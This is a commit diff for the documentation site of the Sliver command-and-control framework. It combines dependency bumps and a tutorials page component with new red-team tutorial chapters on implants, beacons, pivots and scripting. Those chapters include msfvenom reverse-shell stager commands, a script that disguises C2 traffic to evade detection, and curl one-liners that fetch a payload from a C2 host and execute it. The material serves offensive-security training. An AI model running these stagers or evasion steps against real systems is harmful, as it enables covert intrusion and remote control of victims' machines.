"integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==",
"dependencies": {
"fill-range": "^7.0.1"
"fill-range": "^7.1.1"
},
"engines": {
"node": ">=8"
@@ -4537,9 +4537,9 @@
}
},
"node_modules/fill-range": {
"version": "7.0.1",
"resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
"integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
"version": "7.1.1",
"resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz",
"integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==",
"dependencies": {
"to-regex-range": "^5.0.1"
},
@@ -6512,11 +6512,11 @@
]
},
"node_modules/micromatch": {
"version": "4.0.5",
"resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz",
"integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==",
"version": "4.0.8",
"resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz",
"integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==",
"dependencies": {
"braces": "^3.0.2",
"braces": "^3.0.3",
"picomatch": "^2.3.1"
},
"engines": {
@@ -6588,11 +6588,11 @@
"dev": true
},
"node_modules/next": {
"version": "14.2.3",
"resolved": "https://registry.npmjs.org/next/-/next-14.2.3.tgz",
"integrity": "sha512-dowFkFTR8v79NPJO4QsBUtxv0g9BrS/phluVpMAt2ku7H+cbcBJlopXjkWlwxrk/xGqMemr7JkGPGemPrLLX7A==",
"version": "14.2.22",
"resolved": "https://registry.npmjs.org/next/-/next-14.2.22.tgz",
"integrity": "sha512-Ps2caobQ9hlEhscLPiPm3J3SYhfwfpMqzsoCMZGWxt9jBRK9hoBZj2A37i8joKhsyth2EuVKDVJCTF5/H4iEDw==",
"dependencies": {
"@next/env": "14.2.3",
"@next/env": "14.2.22",
"@swc/helpers": "0.5.5",
"busboy": "1.6.0",
"caniuse-lite": "^1.0.30001579",
@@ -6607,15 +6607,15 @@
"node": ">=18.17.0"
},
"optionalDependencies": {
"@next/swc-darwin-arm64": "14.2.3",
"@next/swc-darwin-x64": "14.2.3",
"@next/swc-linux-arm64-gnu": "14.2.3",
"@next/swc-linux-arm64-musl": "14.2.3",
"@next/swc-linux-x64-gnu": "14.2.3",
"@next/swc-linux-x64-musl": "14.2.3",
"@next/swc-win32-arm64-msvc": "14.2.3",
"@next/swc-win32-ia32-msvc": "14.2.3",
"@next/swc-win32-x64-msvc": "14.2.3"
"@next/swc-darwin-arm64": "14.2.22",
"@next/swc-darwin-x64": "14.2.22",
"@next/swc-linux-arm64-gnu": "14.2.22",
"@next/swc-linux-arm64-musl": "14.2.22",
"@next/swc-linux-x64-gnu": "14.2.22",
"@next/swc-linux-x64-musl": "14.2.22",
"@next/swc-win32-arm64-msvc": "14.2.22",
"@next/swc-win32-ia32-msvc": "14.2.22",
"@next/swc-win32-x64-msvc": "14.2.22"
},
"peerDependencies": {
"@opentelemetry/api": "^1.1.0",
+1 -1
View File
@@ -21,7 +21,7 @@
"framer-motion": "^10.16.16",
"fuse.js": "^7.0.0",
"lunr": "^2.3.9",
"next": "^14.2.3",
"next": "^14.2.22",
"next-themes": "^0.2.1",
"react": "18.2.0",
"react-dom": "18.2.0",
+11
View File
@@ -1,6 +1,7 @@
import Navbar from "@/components/navbar";
import "@/styles/globals.css";
import { Docs } from "@/util/docs";
import { Tutorials } from "@/util/tutorials";
import { SearchContext, SearchCtx } from "@/util/search-context";
import { Themes } from "@/util/themes";
import { faExternalLink } from "@fortawesome/free-solid-svg-icons";
@@ -42,6 +43,16 @@ export default function App({ Component, pageProps }: AppProps) {
},
});
queryClient.prefetchQuery({
queryKey: ["tutorials"],
queryFn: async (): Promise<Tutorials> => {
const res = await fetch("/tutorials.json");
const tutorials: Tutorials = await res.json();
search.addTutorials(tutorials);
return tutorials;
},
});
return (
<NextUIProvider>
<NextThemesProvider attribute="class" defaultTheme={getThemeState()}>
@@ -15,7 +15,7 @@
### Blogs
- https://bishopfox.com/blog/passing-the-osep-exam-using-sliver
- https://notateamserver.xyz/sliver-101/
- https://notateamserver.xyz/blog/sliver-101/
- https://dominicbreuker.com/post/learning_sliver_c2_01_installation/
- https://vk9-sec.com/how-to-set-up-use-c2-sliver/
- https://0x90-1.gitbook.io/sliver/
@@ -38,6 +38,7 @@
### Detection & Analysis
- https://medium.com/@unsec.monitor/how-to-use-zeek-detect-sliver-http-beacon-traffic-f05b214c4056
- https://www.immersivelabs.com/blog/detecting-and-decrypting-sliver-c2-a-threat-hunters-guide/
- https://blogs.vmware.com/security/2023/01/detection-of-lateral-movement-with-the-sliver-c2-framework.html
- https://michaelkoczwara.medium.com/sliver-c2-implant-analysis-62773928097f
@@ -120,7 +120,7 @@ $ make macos
$ make macos-arm64
$ make linux
$ make linux-arm64
$ make windows
$ make windows-amd64
```
### Docker Build
@@ -140,4 +140,4 @@ The Docker build includes mingw and Metasploit, so it can take a while to build
- Kali/Ubuntu/Debian `sudo apt install mingw-w64`
- MacOS `brew install mingw-w64`
If all you have is a Windows machine, the easiest way to build Sliver is using [WSL](https://docs.microsoft.com/en-us/windows/wsl/install-win10) and following the Linux/cross-compile instructions above. To cross-compile a native Windows binary use `make windows` and copy it to your Windows file system (i.e. `/mnt/c/Users/foo/Desktop`) and run it using a terminal that supports ANSI sequences such as the [Windows Terminal](https://github.com/microsoft/terminal).
If all you have is a Windows machine, the easiest way to build Sliver is using [WSL](https://docs.microsoft.com/en-us/windows/wsl/install-win10) and following the Linux/cross-compile instructions above. To cross-compile a native Windows binary use `make windows-amd64` and copy it to your Windows file system (i.e. `/mnt/c/Users/foo/Desktop`) and run it using a terminal that supports ANSI sequences such as the [Windows Terminal](https://github.com/microsoft/terminal).
+25 -16
View File
@@ -50,7 +50,10 @@ ID Name Protocol Port
### Metasploit: Bring Your Own Stager
If you want to use [stagers generated by the Metasploit Framework with Sliver](https://www.rapid7.com/blog/post/2022/09/16/metasploit-weekly-wrap-up-176/) (using `msfconsole`, `msfvenom` or the `generate stager` command), you will need to pass the additional `--prepend-size` flag to `stage-listener`, like this:
**Using Metasploit stagers is only supported on Windows.**
#### Generating an HTTP stager
If you want to use [stagers generated by the Metasploit Framework with Sliver](https://www.rapid7.com/blog/post/2022/09/16/metasploit-weekly-wrap-up-176/) (using `msfconsole` or `msfvenom`), you will need to pass the additional `--prepend-size` flag to `stage-listener`, like this:
```
sliver > stage-listener --url http://192.168.122.1:1234 --profile win-shellcode --prepend-size
@@ -60,27 +63,33 @@ This will prepend the size of the payload to the final binary sent to the stager
Sliver staging listeners only accept `tcp://`, `http://` and `https://` schemes for the `--url` flag. The format for this flag is `scheme://IP:PORT`. If no value is specified for `PORT`, an error will be thrown out.
We can now generate a stager using the `generate stager` command:
Either `msfconsole` or `msfvenom` can be used directly to generate stager shellcodes or binaries with the `custom` payload type:
```
sliver > generate stager --lhost 192.168.122.1 --lport 1234 --protocol http --save /tmp
[*] Sliver stager saved to: /tmp/CIRCULAR_BRA
```
By default, the staging protocol used is TCP. The `--protocol` flag can be used to specify either `tcp`, `http` or `https` as the staging protocol.
The generated shellcode can now be used on the target system to start a new Sliver session.
## Generating Stagers with the Metasploit Framework
The Metasploit framework can also be used to generate stager shellcodes or binaries. One can use either `msfconsole` or `msfvenom` directly, and choose a `custom` payload type:
```
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LURI=/hello.woff -f raw -o /tmp/stager.bin
msfvenom --payload windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LURI=/hello.woff --format raw --out /tmp/stager.bin
```
**Remark**: At the moment, the `custom/reverse_http` payload is not compatible with Sliver shellcodes (the stager crashes). However, one can use the `custom/reverse_winhttp` payload instead.
Depending on the payload you choose, you can specify additional options, such as HTTP proxy settings. Use the `msfvenom` flag `--list-options` with a payload type or `show advanced` in `msfconsole`.
#### Generating a TCP stager
Use the `stage-listener` command to set up a listener that will send the binary to the stager:
```
silver > stage-listener --url tcp://192.168.122.1:1234 --profile win-shellcode --prepend-size
```
Notice that we are using the `tcp://` scheme because this is a TCP stager. The `--prepend-size` option is still necessary because we will be using Metasploit.
As above, either `msfconsole` or `msfvenom` can be used directly to generate stager shellcodes or binaries with the `custom` payload type. Here is an example using `msfvenom`:
```
# LHOST and LPORT should correspond to the --url parameter of your stage-listener command
msfvenom --payload windows/x64/custom/reverse_tcp LHOST=192.168.122.1 LPORT=1234 --format raw --out /tmp/stager.bin
```
## Custom Stagers
One thing to consider while writing or using a custom stager, especially for the HTTP protocol, is that the Sliver server will only serve stage 2 payloads on specifically defined URLs. Indeed, since the HTTP staging listener is reusing the regular HTTP listener, it follows the same [procedural HTTP protocol](/docs?name=HTTPS+C2).
+145 -4
View File
@@ -1,11 +1,152 @@
import MarkdownViewer from "@/components/markdown";
import { Tutorials } from "@/util/tutorials";
import { Themes } from "@/util/themes";
import { faSearch } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import {
Card,
CardBody,
CardHeader,
Divider,
Input,
Listbox,
ListboxItem,
ScrollShadow,
} from "@nextui-org/react";
import { useQuery } from "@tanstack/react-query";
import Fuse from "fuse.js";
import { NextPage } from "next";
import { useTheme } from "next-themes";
import Head from "next/head";
import { useSearchParams } from "next/navigation";
import { useRouter } from "next/router";
import React from "react";
const TutorialsIndexPage: NextPage = () => {
const { theme } = useTheme();
const router = useRouter();
const { data: tutorials, isLoading } = useQuery({
queryKey: ["tutorials"],
queryFn: async (): Promise<Tutorials> => {
const res = await fetch("/tutorials.json");
return res.json();
},
});
const params = useSearchParams();
const [name, setName] = React.useState("");
const [markdown, setMarkdown] = React.useState("");
React.useEffect(() => {
const _name = params.get("name");
setName(_name || "");
setMarkdown(tutorials?.tutorials.find((tutorial) => tutorial.name === _name)?.content || "");
}, [params, tutorials]);
const [filterValue, setFilterValue] = React.useState("");
const fuse = React.useMemo(() => {
return new Fuse(tutorials?.tutorials || [], {
keys: ["name"],
threshold: 0.3,
});
}, [tutorials]);
const visibleTutorials = React.useMemo(() => {
if (filterValue) {
// Fuzzy match display names
const fuzzy = fuse.search(filterValue).map((r) => r.item);
return fuzzy;
}
return tutorials?.tutorials || [];
}, [tutorials, fuse, filterValue]);
const listboxClasses = React.useMemo(() => {
if (theme === Themes.DARK) {
return "p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible shadow-small rounded-medium";
} else {
return "border p-0 gap-0 divide-y divide-default-300/50 dark:divide-default-100/80 bg-content1 overflow-visible shadow-small rounded-medium";
}
}, [theme]);
if (isLoading || !tutorials) {
return <div>Loading...</div>;
}
const IndexPage: NextPage = () => {
return (
<div>
<p>Coming soon...</p>
<div className="grid grid-cols-12">
<Head>
<title>Sliver Tutorial: {name}</title>
</Head>
<div className="col-span-3 mt-4 ml-4 h-screen sticky top-20">
<div className="flex flex-row justify-center text-lg gap-2">
<Input
placeholder="Filter..."
startContent={<FontAwesomeIcon icon={faSearch} />}
value={filterValue}
onChange={(e) => setFilterValue(e.target.value)}
isClearable={true}
onClear={() => setFilterValue("")}
/>
</div>
<div className="mt-2">
<ScrollShadow>
<div className="max-h-[70vh]">
<Listbox
aria-label="Toolbox Menu"
className={listboxClasses}
itemClasses={{
base: "px-3 first:rounded-t-medium last:rounded-b-medium rounded-none gap-3 h-12 data-[hover=true]:bg-default-100/80",
}}
>
{visibleTutorials.map((tutorial) => (
<ListboxItem
key={tutorial.name}
value={tutorial.name}
onClick={() => {
router.push({
pathname: "/tutorials",
query: { name: tutorial.name },
});
}}
>
{tutorial.name}
</ListboxItem>
))}
</Listbox>
</div>
</ScrollShadow>
</div>
</div>
<div className="col-span-9">
{name !== "" ? (
<Card className="mt-8 ml-8 mr-8 mb-8">
<CardHeader>
<span className="text-3xl">{name}</span>
</CardHeader>
<Divider />
<CardBody>
<MarkdownViewer
key={name || `${Math.random()}`}
markdown={markdown || ""}
/>
</CardBody>
</Card>
) : (
<div className="grid grid-cols-3">
<div className="col-span-1"></div>
<div className="col-span-1 mt-8 text-2xl text-center">
Welcome to the Sliver Tutorials!
<div className="text-xl text-gray-500">
Please select a chapter
</div>
</div>
<div className="col-span-1"></div>
</div>
)}
</div>
</div>
);
};
export default IndexPage;
export default TutorialsIndexPage;
@@ -0,0 +1,88 @@
# This course is intended for the 1.6 version of Sliver, which is not yet published
`sliver-server` is the binary you want to use to run the Sliver C2 server, `sliver-client` is solely a client to connect to a Sliver C2 server. Sliver server also acts as a client on its own, so you don’t necessarily run sliver server and client separately.
First time running Sliver will take a couple seconds as it's retrieving its dependencies. Consecutive executions will be much faster. Go ahead and launch the `sliver-server`.
```asciinema
{"src": "/asciinema/startup.cast", "cols": "132", "rows": "28", "idleTimeLimit": 8}
```
Let's take a couple minutes to discuss what Sliver actually is and how it's set up.
![Alt text](/images/Architecture.png)
Now that Sliver is running, lets generate and execute your first implant to try out some of the basic features of Sliver, for now we’re going to run everything on the local host.
Here's what we're going to do:
* Generate your implant using the `generate` command as shown below.
* Start HTTP listener on port 80
* Execute implant in a separate terminal
```asciinema
{"src": "/asciinema/first-implant.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
Now let’s select our implant and run our first command using the `use` command.
```bash
[server] sliver > use
? Select a session or beacon:
SESSION 1884a365 RELATED_EARDRUM [::1]:49153 test.local tester darwin/amd64
[*] Active session RELATED_EARDRUM (1884a365-085f-4506-b28e-80c481730fd0)
[server] sliver (RELATED_EARDRUM) > pwd
[*] /Users/tester/tools
```
Once you have reached this point, go ahead and explore some of the commands listed below. In each case, first check out the command's help using the **`-h`** flag then try it out!
```bash
Exploring and interacting with the filesystem
Filesystem
cat Dump file to stdout
cd Change directory
cp Copy a file
download Download a file
grep Search for strings that match a regex within a file or directory
head Grab the first number of bytes or lines from a file
ls List current directory
memfiles List current memfiles
mkdir Make a directory
mount Get information on mounted filesystems
mv Move or rename a file
pwd Print working directory
rm Remove a file or directory
tail Grab the last number of bytes or lines from a file
upload Upload a file
```
```asciinema
{"src": "/asciinema/filesystem.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
Getting some environmental information
```bash
Info
env List environment variables
getgid Get session process GID
getpid Get session pid
getuid Get session process UID
info Get session info
ping Send round trip message to implant (does not use ICMP)
screenshot Take a screenshot
whoami Get session user execution context
```
Execute a binary
```asciinema
{"src": "/asciinema/execute.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
Running an interactive shell
```asciinema
{"src": "/asciinema/shell.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
@@ -0,0 +1,94 @@
# This course is intended for the 1.6 version of Sliver, which is not yet published
Sliver implants support two types of connections, sessions and beacons.
Sessions use long-polling connections, which means they use a single TCP connection which is constantly open. Beacons on the other hand call back periodically, and will sleep when not active which can help keep their presence hidden.
Typically during an engagement you will want to deploy a beacon on the target system, and switch to a session while doing more active enumeration activities.
Let’s start with generating and deploying a beacon using `http`.
```asciinema
{"src": "/asciinema/beacon_generation.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
You can see the beacon callback times either in the `info` command or using `beacons watch`.
```bash
[server] sliver > beacons watch
ID Name Transport Username Operating System Last Check-In Next Check-In
========== =============== =========== ================= ================== =============== ===============
942c647c TIRED_GIRAFFE http(s) tester darwin/amd64 52s 12s
```
Beacon callback times and jitter can be set either during generation or on the fly using the `reconfig` command.
The example below sets the callback time to 5s with a 1s jitter.
```bash
[server] sliver (TIRED_GIRAFFE) > reconfig -i 5s -j 1s
[*] Tasked beacon TIRED_GIRAFFE (b8aa6fd8)
[+] TIRED_GIRAFFE completed task b8aa6fd8
[*] Reconfigured beacon
[server] sliver (TIRED_GIRAFFE) > info
Beacon ID: 942c647c-8409-4877-9fa2-b84a7f27ad45
Name: TIRED_GIRAFFE
Hostname: tester.local
UUID: c6de1a44-016a-5fbe-b76a-da56af41316d
Username: tester
UID: 501
GID: 20
PID: 55879
OS: darwin
Version:
Locale:
Arch: amd64
Active C2: https://127.0.0.1
Remote Address: 127.0.0.1:51803
Proxy URL:
Interval: 1m0s
Jitter: 30s
First Contact: Wed Apr 19 01:14:21 CEST 2023 (10m30s ago)
Last Checkin: Wed Apr 19 01:18:20 CEST 2023 (6m31s ago)
Next Checkin: Wed Apr 19 01:19:46 CEST 2023 (5m5s ago)
```
Commands issued for beacons can be viewed using `tasks`, the task state will indicate whether the command has completed or not. The results of previously run tasks can be viewed using `tasks fetch`.
```asciinema
{"src": "/asciinema/beacon_tasks.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
Session can be spun up using the `interactive` command.
```asciinema
{"src": "/asciinema/beacon_interractive.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
Because of the differences between sessions and beacons, certain commands like `upload` or `download` are slower on beacons due to the callback time. Others such as socks5 are not supported and only allowed for sessions. As a rule of thumb anything requiring higher network bandwidth should be run from a session.
Let’s switch to our newly created session and spin-up a `socks5` proxy.
```bash
[server] sliver (TIRED_GIRAFFE) > use
? Select a session or beacon: SESSION 131a60b9 TIRED_GIRAFFE 127.0.0.1:51969 tester.local tester darwin/amd64
[*] Active session TIRED_GIRAFFE (131a60b9-db4f-4913-9064-18a17a0f09ab)
[server] sliver (TIRED_GIRAFFE) > socks5 start
[*] Started SOCKS5 127.0.0.1 1081
⚠️ In-band SOCKS proxies can be a little unstable depending on protocol
```
You can then point your browser to port 1081 to tunnel traffic through the implant to your target’s local network.
Try out some of the previous commands and compare behaviour on beacons and sessions. Once you are done, you should remember to close your session using the `close` command.
@@ -0,0 +1,116 @@
# This course is intended for the 1.6 version of Sliver, which is not yet published
When generating implants sliver uses a C2Profile configuration, which will be used to generate the effective network configuration of the implant. For example if configured to use /admin and /demo as callback urls, it might use one, the other or both allowing two implants using the same configuration to still seem slightly different from a network traffic perspective.
C2 profile configurations can be seen using the `c2profile` command, which also allows import and export features.
The full list of possible configuration option can be found in the references section below, but for now lets instead customise the existing configuration.
Lets imagine we’re trying to breach a customer we've noticed uses ruby-on-rails for their applications. By default sliver will use the following extensions:
- `.woff` for staging
- `.js` for poll requests
- `.html` for key exchanges
- `.png` for close session
- `.php` for session messages
We will need to update the session messages and staging with something more realistic and replace all references to `woff` or `php` with something less suspicious like `css`, `rb` or `erb`.
We will also use a list of common Urls and filenames for Ruby on Rails like `https://github.com/danielmiessler/SecLists/blob/master/DiscoveryWeb-Content/ror.txt` for the `*_files` and `*_paths` variables. You could also reuse Urls discovered while enumerating your target's external perimeter in a similar way.
We will split the urls using a script like the example below, and then update the files and paths variables in our configuration file.
```python
import json
import math
import sys
import random
def updateProfile(c2ProfileName, urls, cookieName):
data = open(urls).readlines()
c2Profile = open(c2ProfileName, "r").read()
jsonC2Profile = json.loads(c2Profile)
paths, filenames, extensions = [], [], []
for line in data:
line = line.strip()
if "." in line:
extensions.append(line.split(".")[-1])
if "/" in line:
segments = line.split("/")
paths.extend(segments[:-1])
filenames.append(segments[-1].split(".")[0])
extensions = list(set(extensions))
if "" in extensions:
extensions.remove("")
random.shuffle(extensions)
filenames = list(set(filenames))
if "" in filenames:
filenames.remove("")
paths = list(set(paths))
if "" in paths:
paths.remove("")
if len(extensions) < 5:
print(f'Got {len(extensions)} extensions, need at least 5.')
exit(0)
if len(paths) < 5:
print(f'Got {len(paths)} paths need at least 5.')
exit(0)
if len(filenames) < 5:
print(f'Got {len(filenames)} paths need at least 5.')
exit(0)
exts = ['poll_file_ext','stager_file_ext', 'start_session_file_ext', 'session_file_ext', 'close_file_ext' ]
for ext in exts:
jsonC2Profile["implant_config"][ext] = extensions[0]
extensions.pop(0)
pathTypes = ['poll_paths','stager_paths', 'session_paths', 'close_paths' ]
for x, pathType in enumerate(pathTypes):
jsonC2Profile["implant_config"][pathType] = paths[math.floor(x*(len(paths)/len(pathTypes))):math.floor((x+1)*(len(paths)/len(pathTypes)))]
fileTypes = ['poll_files','stager_files', 'session_files', 'close_files']
for x, fileType in enumerate(fileTypes):
jsonC2Profile["implant_config"][fileType] = filenames[math.floor(x*(len(filenames)/len(fileTypes))):math.floor((x+1)*(len(filenames)/len(fileTypes)))]
jsonC2Profile["server_config"]["cookies"] = [cookieName]
c2Profile = open(c2ProfileName, "w")
c2Profile.write(json.dumps(jsonC2Profile))
print("C2 Profile updated !")
if __name__ == "__main__":
if len(sys.argv) < 4:
print("Usage: updateProfile.py myC2Profile myurls.txt cookieName")
exit(0)
updateProfile(sys.argv[1], sys.argv[2], sys.argv[3])
```
The example below demonstrates how to change and import a profile.
```asciinema
{"src": "/asciinema/custom_c2profile.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
At this point we can generate a new implant using our new profile.
```asciinema
{"src": "/asciinema/implant_custom_c2profile.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
If we review the debug logs of our implant we can see that the connections now use our new profile.
```asciinema
{"src": "/asciinema/implant_debug_logs.cast", "cols": "132", "rows": "28", "idleTimeLimit": 8}
```
Ideally during engagements your recon phase should inform your C2 infrastructure, reusing similar hosting providers, technologies and communication protocols can help your implant fly under the radar.
@@ -0,0 +1,48 @@
# This course is intended for the 1.6 version of Sliver, which is not yet published
When using Sliver during a live engagement, you’re going to need to use custom stagers, which are essentially a first binary or commandline that will retrieve and/or load Sliver into memory on your target system. Sliver can generate shellcode for your stager to execute by using the `profiles` command.
For this exercise, we will create a new beacon profile and prepare to stage it.
```asciinema
{"src": "/asciinema/create_profile.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
If you look at the generated implant, you'll notice the `ID` field has been populated. When downloading your payload from the staging server your URL needs to be in the form of:
```
https://sliver-ip/whatever.stager_file_ext?x=yourID
```
There is a lot of flexibility in the form of this URL, the conditions for successful staging are:
* The file extension needs to match the c2 profile's stager_file_ext
* There has to be a one character http url parameter
* The digits found in the ID need to match an implant ID, if your implant ID is 1234, abcd1234, 12beu34 are all valid values
To expose a payload, you need to use the `implants stage` command and specifically select the implant to leave accessible.
```asciinema
{"src": "/asciinema/stage_implant.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
At this point we can try retrieving our implant. The ID is 19778.
```asciinema
{"src": "/asciinema/implant_curl.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
Sliver staging also supports encoding or encrypting our payloads before exposing them externally using the `profile stage` command, the implant configuration remains the same but you are now able to stage different versions of it simultaneously.
```asciinema
{"src": "/asciinema/stage_compress_encrypt.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
A simple stager could look like this, for example in Linux:
```
curl http://localhost/nothingtoseehere.yml?c=1234 --output nothingtoseehere && chmod u+x nothingtoseehere &&nohup ./nothingtoseehere
```
Or on Windows:
```
curl http://172.20.10.3/test.woff?a=29178 -o t.exe && .\t.exe
```
@@ -0,0 +1,34 @@
# This course is intended for the 1.6 version of Sliver, which is not yet published
Pivots allow routing implant traffic through other implants. This can be useful in environments that don’t have any outbound access, but are reachable from other parts of the network that you have access to.
Sliver supports two types of pivots: TCP, which can be used on all operating systems, and named pipes, which are Windows-only.
In both cases the workflow is relatively similar, as a first step, select a session and set up a pivot listener.
```bash
[server] sliver (INNER_GO-KART) > pivots tcp
[*] Started tcp pivot listener :9898 with id 1
[server] sliver (INNER_GO-KART) > pivots
ID Protocol Bind Address Number Of Pivots
==== ========== ============== ==================
1 TCP :9898 0
```
The listening port and interface can be configured during creation.
The next step is to generate a payload that will connect to our listener.
```bash
[server] sliver (INNER_GO-KART) > generate --tcp-pivot 127.0.0.1 --os macos
[*] Generating new darwin/amd64 implant binary
[*] Symbol obfuscation is enabled
[*] Build completed in 12s
[*] Implant saved to /Users/tester/tools/VALUABLE_SICK
```
Executing this payload will cause it to connect back through our original implant and then back to our C2 server.
@@ -0,0 +1,220 @@
# This course is intended for the 1.6 version of Sliver, which is not yet published
Reactions are a basic way to automate tasks in the sliver console, they allow you to specify sliver commands to run on a list of events.
```bash
Reactable Events:
session-connected Triggered when a new session is opened to a target
session-updated Triggered on changes to session metadata
session-disconnected Triggered when a session is closed (for any reason)
canary Triggered when a canary is burned or created
watchtower Triggered when implants are discovered on threat intel platforms
loot-added Triggered when a new piece of loot is added to the server
loot-removed Triggered when a piece of loot is removed from the server
```
Let’s go ahead and create a reaction to list the current directory and environment variables when a new session checks in.
```bash
reaction set -e "session-connected"
[*] Setting reaction to: Session Opened
? Enter commands: [Enter 2 empty lines to finish]pwd
env
? Enter commands:
pwd
env
[*] Set reaction to session-connected (id: 1)
```
The reaction is now set, if you spin up a new session these commands will be automatically run on that session’s initial connection.
```bash
[*] Session 99c7a639 UNEXPECTED_PORTER - 127.0.0.1:59966 (test.local) - darwin/amd64 - Thu, 04 May 2023 09:04:58 CEST
[*] Execute reaction: 'pwd'
[*] /Users/tester
[*] Execute reaction: 'env'
PWD=/Users/tester
COLORTERM=truecolor
...
```
You can remove reactions using `reaction unset`.
However, there are a couple of limitations to keep in mind when using reactions, first off, these are run in the console you are currently using, which is not necessarily the server console. So if you are connected to a sliver server using the sliver client, if you disconnect the client the reactions are no longer running.
Secondly reactions are a relatively basic mechanism, you can’t use any conditional statements or more complex background tasks with them. For more complex use-cases you can instead write your own client in Python or Typescript for example to connect to the server over gRPC, which we’ll cover next.
## Sliver-py
For the purposes of this tutorial we’ll write our extensions using Python3, however the same result is achievable using Typescript, Golang or any other language that can handle gRPC.
First, install the sliver-py extension using pip.
```bash
pip3 install sliver-py
```
Since our extension is essentially going to be another client connection to the sliver server, you’ll also need to enable multiplayer mode and generate a new profile
```bash
[server] sliver > multiplayer
[*] Multiplayer mode enabled!
[server] sliver > new-operator -n tester -l 127.0.0.1
[*] Generating new client certificate, please wait ...
[*] Saved new client config to: /Users/tester/tools/tester_127.0.0.1.cfg
```
We now have everything we need to start writing our scripts, let’s run our first example interactively in a Python shell.
We first need to import a few dependencies, `SliverClientConfig`, which is used to parse the client config we’ve just created, and `SliverClient`, which will handle the connection to the backend server.
```bash
Python 3.9.16 (main, Dec 7 2022, 10:06:04)
Type 'copyright', 'credits' or 'license' for more information
IPython 8.0.1 -- An enhanced Interactive Python. Type '?' for help.
In [1]: from sliver import SliverClientConfig, SliverClient
In [2]: DEFAULT_CONFIG = "/Users/tester/tools/tester_127.0.0.1.cfg"
In [3]: config = SliverClientConfig.parse_config_file(DEFAULT_CONFIG)
In [4]: client = SliverClient(config)
In [5]: await client.connect()
Out[5]:
Major: 1
Minor: 5
Patch: 37
Commit: "0a43dc688ffb31a0a38511c47e8547a44a6918d4"
CompiledAt: 1681408237
OS: "darwin"
Arch: "arm64"
```
From this point on we can use the client object to interact with the server, let’s start with listing any sessions or beacons that might be currently connected.
```bash
In [6]: beacons = await client.beacons()
In [7]: sessions = await client.sessions()
In [8]: beacons
Out[8]: []
In [9]: sessions
Out[9]:
[ID: "f80ec897-0870-4f03-a1b1-364e5a0d243c"
Name: "UNEXPECTED_PORTER"
Hostname: "test.local"
UUID: "c6de1a44-016a-5fbe-b76a-da56af41316d"
Username: "tester"
UID: "501"
GID: "20"
OS: "darwin"
Arch: "amd64"
Transport: "http(s)"
RemoteAddress: "127.0.0.1:60218"
PID: 74773
Filename: "/Users/tester/tools/UNEXPECTED_PORTER"
LastCheckin: 1683185925
ActiveC2: "http://127.0.0.1"
ReconnectInterval: 60000000000
PeerID: 4416183373589698218
FirstContact: 1683185429]
```
To run commands on this session you’ll need to create an InteractiveSession object.
```bash
In [10]: interact = await client.interact_session("f80ec897-0870-4f03-a1b1-364e5a0d243c")
In [11]: await interact.pwd()
Out[11]: Path: "/Users/tester"
```
Now that we’ve got the basics of connecting to sliver and running commands down let’s write a more useful script that will display the hosts file when a new session checks in. Our goal is to first identify the Operating System, and then based on that retrieve and display the contents of the hosts file if it exists. Because this script will wait and react to events emitted by the Sliver server, we’re going to use `asyncio` to write our client.
```bash
#!/usr/bin/env python3
import os
import asyncio
from sliver import SliverClientConfig, SliverClient
import gzip
DEFAULT_CONFIG = "/Users/tester/tools/neo_127.0.0.1.cfg"
async def main():
''' Client connect example '''
config = SliverClientConfig.parse_config_file(DEFAULT_CONFIG)
client = SliverClient(config)
await client.connect()
async for event in client.on('session-connected'):
print('Session %s just connected !' % event.Session.ID)
if __name__ == '__main__':
loop = asyncio.get_event_loop()
loop.run_until_complete(main())
```
As shown above we can access the session object through `event.Session`. Let’s go ahead and add a few conditions based on the operating system.
```bash
if event.Session.OS == "darwin":
print('Session is running on macOS')
elif event.Session.OS == "Linux":
print('Session is running on Linux')
elif event.Session.OS == "Windows"
print('Session is running on Windows')
else:
print('Session is running on %s', event.Session.OS)
```
Let’s set up an InteractiveSession object like previously.
```bash
interact = await client.interact_session(event.Session.ID)
```
We’re going to start with writing the code for Linux and macOS, since in their case the file is located in the same place. First we check if the file exists, then we download and decompress it to display its contents using gzip.
```bash
file_listing = await interact.ls("/etc/hosts")
if file_listing.Exists:
gzipFile = await interact.download("/etc/hosts")
contents = gzip.decompress(gzipFile.Data)
print('%r' % contents)
```
The code for Windows is relatively similar the only major difference being the file location.
```bash
